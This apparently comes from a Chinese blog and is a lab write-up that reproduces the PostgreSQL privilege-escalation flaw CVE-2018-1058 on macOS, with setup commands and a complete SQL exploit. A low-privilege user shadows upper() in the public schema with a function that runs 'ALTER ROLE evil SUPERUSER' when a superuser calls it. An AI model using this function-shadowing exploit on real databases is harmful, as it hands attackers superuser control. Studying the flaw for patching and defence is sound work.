零、参考文献和绪论:
1、先知社区chybeta大神的--PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】--一文
2、博客园hunchill的--Mac 下 PostgreSQL 的安装与使用--一文
一、PostgreSQL环境搭建:
在mac上面安装postgresql并启动postgresql
1 brew install postgresql 2 brew services start postgresql
二、创建用户配置环境:
1、初始化数据库,忘记在安装中还是初始化中,生成了超级用户,我的超级用户是hostname,这里使用bobac代替
1 brew services stop postgresql 2 initdb /usr/local/var/postgres -E utf8 3 brew services start postgresql
2、创建普通用户
1 createuser evil -P
3、创建数据库:
1 createdb evil -O evil -E UTF8 -e
三、原理分析介绍:
这个漏洞的原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户,尤其是高权限账户调用这个函数的时候,就会执行恶意代码(以高权限执行)从而达到远程恶意代码执行的目的。
四、过程举例(参考)
1、创建表并插入数据(evil权限执行):
1 CREATE TABLE public.hehehehe AS SELECT ‘evil‘::varchar AS contents;
2、定义函数(evil权限执行):
1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ 2 ALTER ROLE evil SUPERUSER; 3 SELECT pg_catalog.upper($1); 4 $$ LANGUAGE SQL VOLATILE;
3、查询时候使用upper函数(bobac权限执行)
1 SELECT upper(contents) FROM hehehehe;
此时就执行了ALTER ROLE evil SUPERUSER;
4、然后查看用户权限:
1 SELECT rolname,rolsuper FROM pg_roles;